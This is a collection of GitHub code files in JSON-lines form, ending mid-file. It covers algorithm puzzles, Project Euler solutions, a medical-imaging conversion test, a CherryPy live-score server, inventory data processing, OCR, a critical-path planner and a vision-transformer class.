f[2]\n adjCost[u][v] = w\n\nq = []\nq.append(src)\nstops = 0\n\nwhile q:\n size = len(q)\n for i in range(size):\n c = q.pop(0)\n for f in edges:\n u, v = f[0], f[1]\n if stops == k and v != dst:\n continue\n if c == u and cost[v] > cost[u] + adjCost[u][v]:\n print(\"in\", u, v)\n cost[v] = cost[u] + adjCost[u][v]\n q.append(v)\n stops+=1\nprint(cost)\nprint(cost[dst])\n","repo_name":"amoghrajesh/Coding","sub_path":"Non Leetcode Solutions/cheapest_flight_within_k_stops.py","file_name":"cheapest_flight_within_k_stops.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"32193983408","text":"# We don't need code for this\r\n\r\nnamevalbase = {\r\n 1: 'one',\r\n 2: 'two',\r\n 3: 'three',\r\n 4: 'four',\r\n 5: 'five',\r\n 6: 'six',\r\n 7: 'seven',\r\n 8: 'eight',\r\n 9: 'nine'\r\n }\r\n\r\nnamevalteens = {\r\n 10: 'ten',\r\n 11: 'eleven',\r\n 12: 'twelve',\r\n 13: 'thirteen',\r\n 14: 'fourteen',\r\n 15: 'fifteen',\r\n 16: 'sixteen',\r\n 17: 'seventeen',\r\n 18: 'eighteen',\r\n 19: 'nineteen'\r\n }\r\n\r\nnamevaltens = {\r\n 20: 'twenty',\r\n 30: 'thirty',\r\n 40: 'forty',\r\n 50: 'fifty',\r\n 60: 'sixty',\r\n 70: 'seventy',\r\n 80: 'eighty',\r\n 90: 'ninety',\r\n }\r\n\r\n\r\n\r\nonethrunine = sum ( len(x) for x in namevalbase.values() )\r\n\r\ntenthrunineteen = sum ( len(x) for x in namevalteens.values() )\r\n\r\n# For each X0 - X9...\r\n# X appears 10 times\r\n# onethrunine appears ocne\r\ntwentythru99 = sum ( 10 * len(x) + onethrunine for x in namevaltens.values() )\r\n\r\nonethru99 = onethrunine + tenthrunineteen + twentythru99\r\n\r\n# For each X00-X99...\r\n# X appears 100 times\r\n# 'hundred' appears 100 times\r\n# 'and' appears 99 times\r\n# onethru99 appears once\r\nhundredthru999 = sum ( len(x) * 100 + len('hundred') * 100 + len('and') * 99 + onethru99 for x in namevalbase.values() )\r\n\r\ntotal = onethru99 + hundredthru999 + len('onethousand')\r\n\r\nprint (str(total))\r\n","repo_name":"QuestionC/euler","sub_path":"Euler17.py","file_name":"Euler17.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26255259809","text":"import json\nimport os\nimport shutil\nfrom pathlib import Path\nfrom typing import Optional\n\nimport SimpleITK as sitk\nfrom numpy.testing import assert_allclose\nfrom picai_prep.data_utils import PathLike\nfrom picai_prep.nnunet2nndet import nnunet2nndet\n\n\ndef test_nnunet2nndet(\n nnunet_raw_data_path: PathLike = \"tests/output-expected/nnUNet_raw_data/Task100_test\",\n nndet_raw_data_path: PathLike = \"tests/output/nnDet_raw_data/Task100_test\",\n in_dir_annot: Optional[PathLike] = \"labelsTr\",\n out_dir_annot: Optional[PathLike] = \"raw_splitted/labelsTr\",\n in_dir_scans: Optional[PathLike] = \"imagesTr\",\n out_dir_scans: Optional[PathLike] = \"raw_splitted/imagesTr\",\n nndet_raw_data_path_expected: PathLike = \"tests/output-expected/nnDet_raw_data/Task100_test\",\n):\n # convert input paths to Path\n nnunet_raw_data_path = Path(nnunet_raw_data_path)\n nndet_raw_data_path = Path(nndet_raw_data_path)\n nndet_raw_data_path_expected = Path(nndet_raw_data_path_expected)\n\n # remove output folder (to prevent skipping the conversion)\n if os.path.exists(nndet_raw_data_path):\n shutil.rmtree(nndet_raw_data_path)\n\n # perform conversion from nnUNet to nnDet raw data\n nnunet2nndet(\n nnunet_raw_data_path=nnunet_raw_data_path,\n nndet_raw_data_path=nndet_raw_data_path,\n in_dir_annot=in_dir_annot,\n out_dir_annot=out_dir_annot,\n in_dir_scans=in_dir_scans,\n out_dir_scans=out_dir_scans,\n )\n\n # check dataset.json\n path_out = nndet_raw_data_path / \"dataset.json\"\n path_out_expected = nndet_raw_data_path_expected / \"dataset.json\"\n with open(path_out) as fp1, open(path_out_expected) as fp2:\n assert json.load(fp1) == json.load(fp2)\n\n # compare output\n for subject_id in [\n \"ProstateX-0000_07-07-2011\",\n \"ProstateX-0001_07-08-2011\",\n ]:\n # compare annotations\n for extension in [\"nii.gz\", \"json\"]:\n # construct paths\n path_out = nndet_raw_data_path / out_dir_annot / f\"{subject_id}.{extension}\"\n path_out_expected = nndet_raw_data_path_expected / out_dir_annot / f\"{subject_id}.{extension}\"\n\n # sanity check: check if outputs exist\n assert os.path.exists(path_out), f\"Could not find output file at {path_out}!\"\n assert os.path.exists(path_out_expected), f\"Could not find expected output file at {path_out_expected}!\"\n\n if extension == \"nii.gz\":\n # read images\n img = sitk.GetArrayFromImage(sitk.ReadImage(str(path_out)))\n img_expected = sitk.GetArrayFromImage(sitk.ReadImage(str(path_out_expected)))\n\n # compare images\n assert_allclose(img_expected, img)\n elif extension == \"json\":\n with open(path_out) as fp1, open(path_out_expected) as fp2:\n json_out = json.load(fp1)\n json_expected = json.load(fp2)\n assert json_out == json_expected\n else:\n raise ValueError(f\"Unexpected extension: {extension}\")\n\n # compare scans\n for modality in [\"0000\", \"0001\", \"0002\"]:\n # construct paths to MHA images\n path_out = nndet_raw_data_path / out_dir_scans / f\"{subject_id}_{modality}.nii.gz\"\n path_out_expected = nnunet_raw_data_path / in_dir_scans / f\"{subject_id}_{modality}.nii.gz\"\n\n # sanity check: check if outputs exist\n assert os.path.exists(path_out), f\"Could not find output file at {path_out}!\"\n assert os.path.exists(path_out_expected), f\"Could not find expected output file at {path_out_expected}!\"\n\n # read images\n img = sitk.GetArrayFromImage(sitk.ReadImage(str(path_out)))\n img_expected = sitk.GetArrayFromImage(sitk.ReadImage(str(path_out_expected)))\n\n # compare images\n assert_allclose(img_expected, img)\n","repo_name":"DIAGNijmegen/picai_prep","sub_path":"tests/test_nnunet2nndet.py","file_name":"test_nnunet2nndet.py","file_ext":"py","file_size_in_byte":3931,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"62"} +{"seq_id":"35892125469","text":"'''\n\nThe number 3797 has an interesting property. Being prime itself, it is possible to continuously remove digits from left to right, and remain prime at each stage:\n3797, 797, 97, and 7. Similarly we can work from right to left: 3797, 379, 37, and 3.\n\nFind the sum of the only eleven primes that are both truncatable from left to right and right to left.\n\nNOTE: 2, 3, 5, and 7 are not considered to be truncatable primes.\n\n'''\nimport math, itertools, datetime\n\ndef is_prime(num):\n if num < 3 or num % 2 == 0:\n return (num == 2)\n else:\n return all(num % i != 0 for i in range(3, int(num**0.5 + 2), 2))\n\ndef is_truncable(n):# right for direction, True for right, False for left\n aux = n\n while len(n) > 1:\n n = n[:-1]\n if not is_prime(int(n)):\n return False\n n = aux\n while len(n) > 1:\n n = n[1:]\n if not is_prime(int(n)):\n return False\n return True\n\n\n\ndef p37_mejorado():\n last_ls = ['3','7']\n in_ls = last_ls + ['2', '5']\n midders = ['3','7','1','9']\n finded = 0\n repeater = 0\n suma = 0\n while True:\n for item in itertools.product(midders,repeat=repeater):\n for i in itertools.permutations(in_ls,1):\n for l in itertools.permutations(last_ls,1):\n posible_truncable = ''.join(list(i)+list(item)+list(l))\n if is_prime(int(posible_truncable)):\n if is_truncable(posible_truncable):\n finded += 1\n suma += int(posible_truncable)\n if finded == 11:\n return suma\n repeater += 1\ntt1 = datetime.datetime.now()\nprint('Answer: ',p37_mejorado())\ntt2 = datetime.datetime.now()\n\nprint('Execute time: ',tt2 - tt1) #0.01 second\n\n","repo_name":"nacosdev/project-euler","sub_path":"37.py","file_name":"37.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31586554506","text":"#! /usr/bin/env python3\nimport cherrypy\nimport os\nimport configparser\nimport json\n\nfrom python_scripts.database import Database\nfrom python_scripts.registry import Registry\nfrom python_scripts.game import Game\n\n\nclass Server():\n '''\n Server Configuration:\n '''\n\n database = None\n registry = None\n app_url = None\n\n def __init__(self, configuration):\n \"\"\" Initialization the URL and the database,\n registry handler objects \"\"\"\n\n self.app_url = configuration['app_url']\n self.database = Database(configuration['database_uri'])\n self.registry = Registry(self.database)\n\n @cherrypy.expose\n def login(self):\n \"\"\" Gets the user login info and returns if valid or not.\n Required json: resources/json/login.json\n Returned json: resources/json/common_response.json \"\"\"\n\n import hashlib\n login_info = json.loads(cherrypy.request.body.read().decode('utf-8'))\n cherrypy.response.headers[\"Access-Control-Allow-Origin\"] = \"*\"\n # check if user exists\n user_record = self.database.get_data('login', {\n 'username': login_info['username']})\n if user_record is None: # user not found\n return json.dumps({\n \"status\": \"failed\",\n \"message\": \"user not found in the database\"})\n else:\n entered_password = hashlib.md5(login_info['password'].encode())\n entered_password = entered_password.hexdigest()\n if user_record['password'] != entered_password:\n return json.dumps({\n \"status\": \"failed\",\n \"message\": \"password incorrect\"})\n return json.dumps({\"status\": \"sucess\", \"message\": \"valid\"})\n\n @cherrypy.expose # call manually for now\n def signup(self):\n \"\"\" Gets the user login info and added it to the database. If user\n exists returns the required message\n Required json: resources/json/signup.json\n Returned json: resources/json/common_response.json \"\"\"\n\n import hashlib\n login_info = json.loads(cherrypy.request.body.read().decode('utf-8'))\n cherrypy.response.headers[\"Access-Control-Allow-Origin\"] = \"*\"\n # check if user exists\n user_record = self.database.get_data('login', {\n 'username': login_info['username']\n })\n if user_record is None: # user not found\n password = hashlib.md5(login_info['password'].encode()).hexdigest()\n self.database.insert(\"login\", {\n \"username\": login_info['username'], \"password\": password\n })\n return json.dumps({\"status\": \"sucess\", \"message\": \"user created\"})\n else:\n return json.dumps({\n \"status\": \"failed\",\n \"message\": \"user already exists\"})\n\n @cherrypy.expose\n def register_game(self):\n \"\"\" Returns the if game was sucessfully registered.\n Required json: resources/json/register.json\n Returned json: resources/json/common_response.json \"\"\"\n\n cherrypy.response.headers[\"Access-Control-Allow-Origin\"] = \"*\"\n game_info = json.loads(cherrypy.request.body.read().decode('utf-8'))\n game_info['game_type'] = game_info['game_type'].upper()\n new_game = Game(game_info['game_type'], self.database, self.registry)\n registeration_status = new_game.register(game_info)\n if registeration_status is None:\n return json.dumps({\n 'status': 'failed',\n 'message': 'could not make a entry in data base'\n })\n return json.dumps({\n 'status': 'sucess',\n 'message': 'game is registered in database'\n })\n\n @cherrypy.expose\n def update_game(self):\n \"\"\" Update the LIVE game score\n Required json: resources/json/update.json\n Returned json: resources/json/common_response.json \"\"\"\n\n cherrypy.response.headers[\"Access-Control-Allow-Origin\"] = \"*\"\n update_info = json.loads(cherrypy.request.body.read().decode('utf-8'))\n update_info['game_type'] = update_info['game_type'].upper()\n game_info = self.registry.get_game(update_info['game_type'], update_info['game_id'])\n print(game_info)\n game_info['game_type'] = game_info['game_type'].upper()\n new_game = Game(update_info['game_type'], self.database, self.registry)\n result = new_game.update(game_info, update_info)\n if result is None:\n return json.dumps({\n 'status': 'failed',\n 'message': 'could not make a entry in data base'\n })\n return json.dumps({'status': 'sucess', 'message': 'game is updated'})\n\n @cherrypy.expose\n def score_board(self):\n \"\"\" Return the score to display\n Required json: resources/json/score_board.json\n Returned json: resources/json/score_board_response.json \"\"\"\n\n cherrypy.response.headers[\"Access-Control-Allow-Origin\"] = \"*\"\n game_info = json.loads(cherrypy.request.body.read().decode('utf-8'))\n game_info['game_type'] = game_info['game_type'].upper()\n new_game = Game(game_info['game_type'], self.database, self.registry)\n result = new_game.score_board(game_info['game_type'], game_info['game_id'])\n return json.dumps({\"status\": \"sucess\", \"board\": result})\n\n @cherrypy.expose\n def get_game_list(self):\n \"\"\" Return the game list for the day\n Required json: resources/json/game_list.json\n Returned json: resources/json/game_list_response.json \"\"\"\n\n import datetime\n from pytz import timezone\n cherrypy.response.headers[\"Access-Control-Allow-Origin\"] = \"*\"\n game_info = json.loads(cherrypy.request.body.read().decode('utf-8'))\n game_type = game_info['game_type'].upper()\n time_zone = timezone(\"Asia/Kolkata\")\n current_date = \"{:%d %m %Y}\".format(datetime.datetime.now(time_zone))\n game_list = self.registry.get_list(game_type, current_date)\n return json.dumps({\"status\": \"sucess\", \"list\": game_list})\n\nif __name__ == '__main__':\n ''' Setting up the Server with Specified Configuration'''\n\n server_config = configparser.RawConfigParser()\n conf = {\n '/': {\n 'tools.staticdir.root': os.path.abspath(os.getcwd())\n },\n '/resources': {\n 'tools.staticdir.on': True,\n 'tools.staticdir.dir': './resources'\n }\n }\n server_config.read('server.conf')\n server_port = server_config.get('Server', 'port')\n server_host = server_config.get('Server', 'host')\n app_url = server_config.get('app_url', 'url')\n database_uri = server_config.get('Database', 'database_uri')\n configuration = {\n 'app_url': app_url,\n 'database_uri': database_uri\n }\n cherrypy.config.update({'server.socket_host': server_host})\n cherrypy.config.update({'server.socket_port': int(\n os.environ.get('PORT', server_port)\n )})\n cherrypy.quickstart(Server(configuration), '/', conf)\n","repo_name":"Jaiswal-ruhil/liveScore","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":7062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"32605647724","text":"from Vector import Vector\n\nclass ProjectileModel(object):\n\tdef __init__(self, x, y):\n\t\tself.position = Vector(x, y)\n\n\t\tself.speed = 0.65\n\n\t\tself.damage = 15\n\n\t\tself.radius = 2\n\n\t\tself.hit = False","repo_name":"kainbozzetto/TowerDefense","sub_path":"ProjectileModel.py","file_name":"ProjectileModel.py","file_ext":"py","file_size_in_byte":195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6111633206","text":"import tilemapbase\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n\ntilemapbase.init(create=True)\n\n\n\ncentre0 = (1.282369,43.92071)\nmarge = 0.05\n\ntheta = np.linspace(np.pi/2,3*np.pi/2,20)\n#theta = - theta\nangle_aller = (20/180)*np.pi\nrayon = 20\n\nrayon_terre = 6378137\n\nx_t = rayon * np.cos(theta)\ny_t = rayon * np.sin(theta) * np.sin(angle_aller)\nz_t = rayon * np.sin(theta) * np.cos(angle_aller)\n\nprint (x_t,y_t,z_t)\n\ncentre = (centre0[0]*np.pi/180,centre0[1]*np.pi/180)\n\nx0 = rayon_terre * np.cos(centre[0]) * np.cos(centre[1])\ny0 = rayon_terre * np.cos(centre[0]) * np.sin(centre[1])\nz0 = rayon_terre * np.sin(centre[0])\nprint(\"home\")\nprint(x0,y0,z0)\n\nrho0 = np.sqrt((x0**2)+(y0**2)+(z0**2))\n\nphi0 = np.arccos(z0/rho0)*180/np.pi\ntheta0 = np.arctan(y0/x0)*180/np.pi\n\nif phi0 > 90:\n phi0=90-phi0\n\n\nprint(rho0,phi0,theta0)\n\nX = [x0+X for X in x_t]\nY = [y0+Y for Y in y_t]\nZ = [z0+Z for Z in z_t]\nprint('XYZ : ' ,X,Y,Z)\nprint(\"\")\nLongitude=[]\nLatitude=[]\nprint(len(X))\nfor i in range(len(X)):\n rho =np.sqrt( (X[i]**2)+(Y[i]**2)+(Z[i]**2))\n Longitude_temp = np.arcsin(Z[i]/rho)*180/np.pi\n if Longitude_temp > 90 :\n Longitude_temp = 90 - Longitude_temp\n Longitude.append(Longitude_temp)\n\n Latitude.append(np.arctan(Y[i]/X[i])*180/np.pi)\n#return Longitude,Latitude\nprint(\"COUCOU\",Latitude,Longitude)\n\npath = [tilemapbase.project(x,y) for x,y in zip(Longitude,Latitude)]\nx, y = zip(*path)\n#print(np.mean(x))\ncentre=(centre0[0],centre0[1])\nextent = tilemapbase.Extent.from_lonlat(centre[0] - marge, centre[0] + marge,centre[1] - marge, centre[1] + marge)\nextent = extent.to_aspect(1.0)\nfig, ax = plt.subplots(figsize=(10, 10), dpi=100)\nax.xaxis.set_visible(False)\nax.yaxis.set_visible(False)\n\nplotter = tilemapbase.Plotter(extent, tilemapbase.tiles.build_OSM(), width=600)\nplotter.plot(ax, tilemapbase.tiles.build_OSM())\n\nx0,y0 = tilemapbase.project(*centre0)\n\nprint(x,y)\nax.plot(x,y,'ro-')\nax.plot(x0,y0,'b>')\n\n#plt.plot([0.495108],[0.347409],'ro')\n\n\nax.axis(\"off\")\n\n\nfig.show()\ninput()\n","repo_name":"AdrienVigne/Station_sol","sub_path":"V4/test_fct-Gps.py","file_name":"test_fct-Gps.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"757344230","text":"import numpy as np\nimport pandas as pd\n\n# Import Data from Excel Sheet ----\nf16_hitch_data = pd.read_excel(\"//adfs01.uhi.amerco/departments/mia/group/MIA\"\n \"/Noe\"\n \"/Projects/Hitch Inventory/Hitch FY Data.xlsx\",\n sheet_name='FY16 Data')\n\nf17_hitch_data = pd.read_excel(\"//adfs01.uhi.amerco/departments/mia/group/MIA\"\n \"/Noe\"\n \"/Projects/Hitch Inventory/Hitch FY Data.xlsx\",\n sheet_name='FY17 Data')\n\nf18_hitch_data = pd.read_excel(\"//adfs01.uhi.amerco/departments/mia/group/MIA\"\n \"/Noe\"\n \"/Projects/Hitch Inventory/Hitch FY Data.xlsx\",\n sheet_name='FY18 Data')\n\nf19_hitch_data = pd.read_excel(\"//adfs01.uhi.amerco/departments/mia/group/MIA\"\n \"/Noe\"\n \"/Projects/Hitch Inventory/Hitch FY Data.xlsx\",\n sheet_name='FY19 Data')\n\n# Create Row Index values for units and sales ----\nunit_index = [0,1,3,5,7,9,11,13,15,17,19,21,23]\nsales_index = [0,2,4,6,8,10,12,14,16,18,20,22,24]\n\n# Split Unit / Sales Data frames ----\nf16_hitch_units = f16_hitch_data.iloc[:, unit_index]\nf17_hitch_units = f17_hitch_data.iloc[:, unit_index]\nf18_hitch_units = f18_hitch_data.iloc[:, unit_index]\nf19_hitch_units = f19_hitch_data.iloc[:, unit_index]\n\nf16_hitch_sales = f16_hitch_data.iloc[:, sales_index]\nf17_hitch_sales = f17_hitch_data.iloc[:, sales_index]\nf18_hitch_sales = f18_hitch_data.iloc[:, sales_index]\nf19_hitch_sales = f19_hitch_data.iloc[:, sales_index]\n\n# Initial Data check ; equivalent rows ----\nassert f16_hitch_units.shape[0] == f17_hitch_units.shape[0] == \\\n f18_hitch_units.shape[0] == f19_hitch_units.shape[0]\n\nassert f16_hitch_sales.shape[0] == f17_hitch_sales.shape[0] == \\\n f18_hitch_sales.shape[0] == f19_hitch_sales.shape[0]\n\n# Merge units DF ----\nhitch_units = pd.merge(left=f16_hitch_units, right=f17_hitch_units, on='Part Number')\nhitch_units = pd.merge(left=hitch_units, right=f18_hitch_units, on='Part '\n 'Number')\nhitch_units = pd.merge(left=hitch_units, right=f19_hitch_units, on='Part '\n 'Number')\n\n# Merge sales DF ----\nhitch_sales = pd.merge(left=f16_hitch_sales, right=f17_hitch_sales, on='Part '\n 'Number')\nhitch_sales = pd.merge(left=hitch_sales, right=f18_hitch_sales, on='Part '\n 'Number')\nhitch_sales = pd.merge(left=hitch_sales, right=f19_hitch_sales, on='Part '\n 'Number')\n\n# Remove missing data (March 2019) ----\nhitch_units.drop(hitch_units.columns[48], axis=1, inplace=True)\nhitch_sales.drop(hitch_sales.columns[48], axis=1, inplace=True)\n\n# Melt Dataframes into a work friendly version ----\nmelted_hitch_sales = hitch_sales.melt(id_vars= 'Part Number',\n var_name='Date', value_name='Revenue')\nmelted_hitch_units = hitch_units.melt(id_vars= 'Part Number',\n var_name='Date', value_name='Units')\n\n# Remove Timestamp from Date column ----\nmelted_hitch_sales['Date'] = pd.to_datetime(melted_hitch_sales[\n 'Date']).dt.date\nmelted_hitch_units['Date'] = pd.to_datetime(melted_hitch_units[\n 'Date']).dt.date\n\n# Export Data to CSV ----\nmelted_hitch_sales.to_csv('Z:/group/MIA/Noe/Projects/Hitch '\n 'Inventory/Data/hitch_sales.csv', index=False)\n\nmelted_hitch_units.to_csv('Z:/group/MIA/Noe/Projects/Hitch '\n 'Inventory/Data/hitch_units.csv', index=False)\n\n","repo_name":"Nnavarr/Inventory-Forecast","sub_path":"Inventory Forecast Data Processing.py","file_name":"Inventory Forecast Data Processing.py","file_ext":"py","file_size_in_byte":3933,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"19381796021","text":"import os.path\nimport easyocr\n\n\ndef text_recognition(file_path, text_file_name='resullt.txt'):\n reader = easyocr.Reader(['ru', 'en'], gpu=False)\n result = reader.readtext(file_path, detail=0, paragraph=True, text_threshold=0.8)\n with open(text_file_name, 'w', encoding='utf-8') as file:\n for line in result:\n file.write(f\"{line}\\n\\n\")\n\n return result\n\ndef main():\n file_path = input('Enter a file path: ')\n if not os.path.exists(file_path):\n print('картинки не существует')\n print(text_recognition(file_path=file_path))\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"arthur-itkinov/python_easyocr_text","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"23405454909","text":"import numpy as np\nfrom Lista_Generica import *\nfrom exibicao import *\nfrom leituradados import LerArquivoCSV\n\ndef buscaTarefa (dados, codigo):\n x = 0\n flag = 0\n for i in dados['Codigo']:\n if (i == codigo):\n flag = 1\n break\n x += 1\n if (flag == 1):\n return x\n else:\n print ('Erro na entrada do código')\n\n\ndef caminhoDeIda (dados):\n numTarefas = dados.shape[0]\n if (numTarefas == 0):\n erroNumTarefas(numTarefas)\n raise ValueError\n ES = np.zeros(numTarefas, dtype=np.int8)\n EF = np.zeros(numTarefas, dtype=np.int8)\n temp = []\n\n for i in range(numTarefas):\n if (dados['Predecessor'][i] == None):\n ES[i] = 0\n try:\n EF[i] = ES[i] + dados['Duracao'][i]\n except:\n print(\"Erro entrada da duração\")\n else:\n for j in dados['Predecessor'][i]:\n index = buscaTarefa(dados, j)\n temp.append(EF[index])\n if(index == i):\n print(\"Erro na entrada dos predecessores\")\n else:\n temp.append(EF[index])\n ES[i] = max(temp)\n try:\n EF[i] = ES[i] + dados['Duracao'][i]\n except:\n print(\"Erro entrada da duração\")\n temp = []\n dados['ES'] = ES\n dados['EF'] = EF\n\n return dados\n\ndef caminhoDeVolta (dados):\n numTarefas = dados.shape[0]\n temp = []\n LS = np.zeros(numTarefas, dtype=np.int8)\n LF = np.zeros(numTarefas, dtype=np.int8)\n SUCESSOR = np.empty(numTarefas, dtype = object)\n for i in range(numTarefas-1, -1,-1):\n if(dados['Predecessor'][i] != None):\n for j in dados['Predecessor'][i]:\n index = buscaTarefa(dados,j)\n if(SUCESSOR[index] != None):\n SUCESSOR[index] += dados['Codigo'][i]\n else:\n SUCESSOR[index] = dados['Codigo'][i]\n\n dados[\"Sucessor\"] = SUCESSOR\n\n for i in range(numTarefas -1, -1, -1):\n if (dados['Sucessor'][i] == None):\n LF[i] = np.max(dados['EF'])\n LS[i] = LF[i] - dados['Duracao'][i]\n else:\n for j in dados['Sucessor'][i]:\n index = buscaTarefa(dados, j)\n temp.append(LS[index])\n LF[i] = min(temp)\n LS[i] = LF[i] - dados['Duracao'][i]\n temp = []\n dados['LS'] = LS\n dados['LF'] = LF\n\n return dados\n\ndef calculaFolga(dados):\n numTarefas = dados.shape[0]\n FOLGA = np.zeros(shape=numTarefas, dtype=np.int8)\n for i in range(numTarefas):\n FOLGA[i] = dados['LS'][i] - dados['ES'][i]\n dados['FOLGA'] = FOLGA\n\n return dados\n\ndef calculaCPM(dados):\n dados = caminhoDeIda(dados)\n dados = caminhoDeVolta(dados)\n dados = calculaFolga(dados)\n return dados\n\ndef cpm(nomeArquivo):\n dataFrame = LerArquivoCSV(nomeArquivo)\n dados = calculaCPM(dataFrame)\n tarefasCpm = []\n for row in dados.itertuples(index=False, name=None):\n if row[dados.columns.get_loc('FOLGA')] == 0:\n adicionaElementoLista(tarefasCpm, row[dados.columns.get_loc('Tarefa')])\n\n exibirCaminhoCritico(tarefasCpm)","repo_name":"rcgaui/Visualizador-de-Caminho-Critico","sub_path":"caminhocritico.py","file_name":"caminhocritico.py","file_ext":"py","file_size_in_byte":3230,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41259380414","text":"# -*- coding: utf-8 -*-\n\n\ndef main():\n s = input()\n n = len(s)\n\n for i in range(n):\n for k in range(i, n):\n if (s[:i] + s[k:]) == 'keyence':\n print('YES')\n exit()\n\n print('NO')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"KATO-Hiro/AtCoder","sub_path":"Others/keyence/keyence2019/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"43411896894","text":"import requests\n\n\nclass YaUploader:\n def __init__(self, token: str):\n self.token = token\n\n def _get_headers(self):\n return {\n 'Content-Type': 'application/json',\n 'Authorization': f'OAuth {self.token}'\n }\n\n def _get_upload_link(self, file_name):\n upload_url = \"https://cloud-api.yandex.net/v1/disk/resources/upload\"\n headers = self._get_headers()\n params = {\"path\": file_name, \"overwrite\": \"true\"}\n response = requests.get(upload_url, headers=headers, params=params)\n print(response.json())\n return response.json()\n\n def upload(self, file_path: str):\n file_name = file_path.split(sep='/')[-1]\n print(file_name)\n href = self._get_upload_link(file_name=file_name).get(\"href\", \"\")\n response = requests.put(href, data=open(file_path, 'rb'))\n response.raise_for_status()\n if response.status_code == 201:\n print(\"Success\")","repo_name":"Marmeshllow/requests","sub_path":"yandex.py","file_name":"yandex.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"9731079389","text":"import mock\n\nfrom ocflib.vhost.application import get_app_vhosts\n\n\nVHOSTS_EXAMPLE = \"\"\"\nasucapp api.asuc.ocf.berkeley.edu prod api.asuc.org\nggroup dev-app.ocf.berkeley.edu - -\nupe - - -\n\"\"\"\n\nVHOSTS_EXAMPLE_PARSED = {\n 'api.asuc.ocf.berkeley.edu': {\n 'socket': 'prod',\n 'aliases': ['api.asuc.org'],\n 'username': 'asucapp',\n 'flags': [],\n },\n 'dev-app.ocf.berkeley.edu': {\n 'socket': 'ggroup',\n 'aliases': [],\n 'username': 'ggroup',\n 'flags': [],\n },\n 'upe.berkeley.edu': {\n 'socket': 'upe',\n 'aliases': [],\n 'username': 'upe',\n 'flags': [],\n },\n}\n\n\nclass TestVirtualHosts:\n\n # The database-reading function is identical to that in vhost.web, so\n # there's not much meaning in making tests slower by testing it.\n\n @mock.patch(\n 'ocflib.vhost.application.get_app_vhost_db',\n return_value=VHOSTS_EXAMPLE.splitlines(),\n )\n def test_proper_parse(self, mock_get_app_vhost_db):\n assert get_app_vhosts() == VHOSTS_EXAMPLE_PARSED\n","repo_name":"ocf/ocflib","sub_path":"tests/vhost/application_test.py","file_name":"application_test.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"62"} +{"seq_id":"10077680343","text":"if __name__ == \"__main__\":\n T = int(input())\n for t in range(1, T+1):\n N, K, P = map(int, input().split())\n S = [[int(x) for x in input().split()] for _ in range(N)]\n\n nbr = []\n for si, s in enumerate(S):\n sumS = 0\n for k in range(K):\n sumS += s[k]\n nbr.append((si, k+1, sumS/(k+1)))\n nbr.sort(key=lambda x: x[2])\n\n res = 0\n visited = [0] * N\n restP = P\n while restP:\n si, end, _ = nbr.pop()\n if visited[si] < end and restP >= (end - visited[si]):\n restP -= (end - visited[si])\n for i in range(visited[si], end):\n res += S[si][i]\n print(S[si][i])\n visited[si] = end\n\n print(\"Case #{}: {}\".format(t, res))\n","repo_name":"chacham/learn-algorithm","sub_path":"kickstart/2020A/Plates/solve_WA.py","file_name":"solve_WA.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36780672907","text":"from functools import partial\n\nimport timm.models.vision_transformer\nimport torch\nimport torch.nn as nn\nfrom einops.einops import rearrange\n\n# if os.path.exists('images'):\n# shutil.rmtree('images')\n# os.makedirs('images', exist_ok=True)\n\n\nclass VisionTransformer(timm.models.vision_transformer.VisionTransformer):\n \"\"\" Vision Transformer with support for global average pooling\n \"\"\"\n def __init__(self, global_pool=False, mask_ratio=None, mask_type='random', **kwargs):\n super(VisionTransformer, self).__init__(**kwargs)\n\n self.global_pool = global_pool\n self.mask_ratio = mask_ratio\n self.mask_type = mask_type\n print(f'mask_type: {mask_type}, mask_ratio: {mask_ratio}')\n self.num_patches = self.patch_embed.num_patches\n if self.global_pool:\n norm_layer = kwargs['norm_layer']\n embed_dim = kwargs['embed_dim']\n self.fc_norm = norm_layer(embed_dim)\n\n del self.norm # remove the original norm\n\n def masking(self, x):\n \"\"\"\n Perform per-sample random masking by per-sample shuffling.\n Per-sample shuffling is done by argsort random noise.\n x: [N, L, D], sequence\n \"\"\"\n N, L, D = x.shape # batch, length, dim\n len_keep = int(L * (1 - self.mask_ratio))\n\n noise = torch.rand(N, L, device=x.device) # noise in [0, 1]\n if self.mask_type == 'uniform':\n M = int(L**0.5)\n noise = rearrange(noise, 'n (h p1 w p2) -> (n h w) (p1 p2)', n=N, p1=2, p2=2, h=M // 2, w=M // 2)\n if self.mask_ratio == 0.75:\n index = noise.min(-1)[1]\n noise[range(len(index)), index] = -1\n elif self.mask_ratio == 0.5:\n index = noise.topk(k=2, 